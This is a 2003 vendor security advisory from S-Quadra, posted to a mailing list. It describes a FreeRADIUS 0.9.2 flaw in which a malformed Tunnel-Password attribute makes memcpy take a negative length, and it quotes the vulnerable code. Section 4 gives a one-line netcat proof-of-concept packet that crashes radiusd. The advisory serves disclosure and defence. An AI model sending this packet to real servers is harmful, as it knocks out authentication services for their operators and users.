Message-ID: <3FBE05E7.3070302@s-quadra.com>
From: e.legerov at s-quadra.com (S-Quadra Security Research)
Subject: FreeRADIUS 0.9.2 "Tunnel-Password" attribute handling vulnerability

         
            S-Quadra Vendor Report #2003-11-21

Topic: FreeRADIUS 0.9.2 "Tunnel-Password" attribute Handling Vulnerability
Severity: Average
Release date: 21 Nov 2003

1. DESCRIPTION

The FreeRADIUS Server (http://www.freeradius.org) is a high-performance 
and highly configurable GPL'd free RADIUS server.

There exists a security vulnerability in FreeRADIUS up to 0.9.2, which 
may allow an attacker
to mount a Denial of Service attack or possibly execute an arbitrary 
code (unproved).

2. DETAILS

Access-Request packet with a malformed Tunnel-Password attribute 
triggers the invocation of memcpy()
with a negative third argument, thereby causing radiusd to crash.

Below is the snip of vulnerable code from src/lib/radius.c:

[snip]

int rad_decode(RADIUS_PACKET *packet, RADIUS_PACKET *original,
               const char *secret)
 {
        DICT_ATTR               *attr;
        uint32_t                lvalue;
        uint32_t                vendorcode;
        VALUE_PAIR              **tail;
        VALUE_PAIR              *pair;
        uint8_t                 *ptr;
        int                     length;
        int                     attribute;
        int                     attrlen;
        int                     vendorlen;
        radius_packet_t         *hdr;

        ...

    while(length > 0) {
                if (vendorlen > 0) {
                        attribute = *ptr++ | (vendorcode << 16);
                        attrlen   = *ptr++;
                } else {
                        attribute = *ptr++;
                        attrlen   = *ptr++;
                }

        /* Evgeny Legerov (EL): Suppose attrlen == 2 */
   
                attrlen -= 2;
                length  -= 2;
   
        ...

               if ((pair = malloc(sizeof(VALUE_PAIR))) == NULL) {
                        pairfree(&packet->vps);
                        librad_log("out of memory");
                        errno = ENOMEM;
                        return -1;
                }

                memset(pair, 0, sizeof(VALUE_PAIR));
   
        ...

        /* EL: Now we have pair->length == 0 */
        pair->attribute = attribute;
                pair->length = attrlen;
                pair->operator = T_OP_EQ;
                pair->next = NULL;

                switch (pair->type) {

                case PW_TYPE_OCTETS:
                case PW_TYPE_ABINARY:
                case PW_TYPE_STRING:
                        if (pair->flags.has_tag &&
                            pair->type == PW_TYPE_STRING) {
                                int offset = 0;

                                if(TAG_VALID(*ptr)) {
                                        pair->flags.tag = *ptr;
                                        pair->length--;
                                        offset = 1;
                                } else if (pair->flags.encrypt == 
FLAG_ENCRYPT_TUNNEL_PASSWORD) {
                                        /*
                                         * from RFC2868 - 3.5.  
Tunnel-Password
                                         * If the value of the Tag field 
is greater than
                                         * 0x00 and less than or equal 
to 0x1F, it SHOULD
                                         * be interpreted as indicating 
which tunnel
                                         * (of several alternatives) 
this attribute pertains;
                                         * otherwise, the Tag field 
SHOULD be ignored.
                                         */
                                        pair->flags.tag = 0x00;

                    /* EL: at this point we have pair->length == -1 */
                                        pair->length--;
                                        offset = 1;
                                } else {
                                       pair->flags.tag = 0x00;
                                }
                                memcpy(pair->strvalue, ptr + offset,
                                       pair->length);
                        }

[snip]

To exploit this vulnerability attacker does not need to know NAS 
(Network Access Server) secret as the NAS's IP address can be easily 
spoofed.
The code execution was unproved, but still remains possible.

3. FIX INFORMATION

S-Quadra alerted FreeRADIUS team to this issue on 20th November 2003, 
fix was available in CVS after several hours.

Unfortunately, the first attempt to contact with FreeRADIUS development 
team was made through
post to freeradius-users mailing list, as page 
http://www.freeradius.org/usage.html#help
("reporting bugs" section) will lead directly to the subscription form 
for this list.
We actually admit that such behaviour is NOT correct and our futher 
FreeRADIUS security reports will be issued directly to freeradius-devel 
mailing list.

Also, apparently, in reply to the post to freeradius-user list of the 
person claiming to be "Chris Parker <cparker@...rnetusa.net>",
we have some knowledge of "who radius works" and PoC included in this 
advisory.

4. PoC CODE

The following command will crash the radiusd daemon:

bash-2.05$ echo -ne 
"\x01\x01\x00\x16\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x45\x02" 
| nc -vu -w1 <victim> <port>

5. CREDITS

Evgeny Legerov <e.legerov@...uadra.com> is responsible for discovering 
this issue.

6. ABOUT

S-Quadra offers services in computer security, penetration testing and 
network assesment,
web application security, source code review and third party product 
vulnerability assesment,
forensic support and reverse engineering.

Security is an art and our goal is to bring responsible and high quality 
security
service to the IT market, customized to meet the unique needs of each 
individual client.

S-Quadra, (pronounced es quadra), is not an acronym.
It's unique, creative and innovative - just like the security services 
we bring to our clients.

            S-Quadra Vendor Report #2003-11-21

Powered by blists - more mailing lists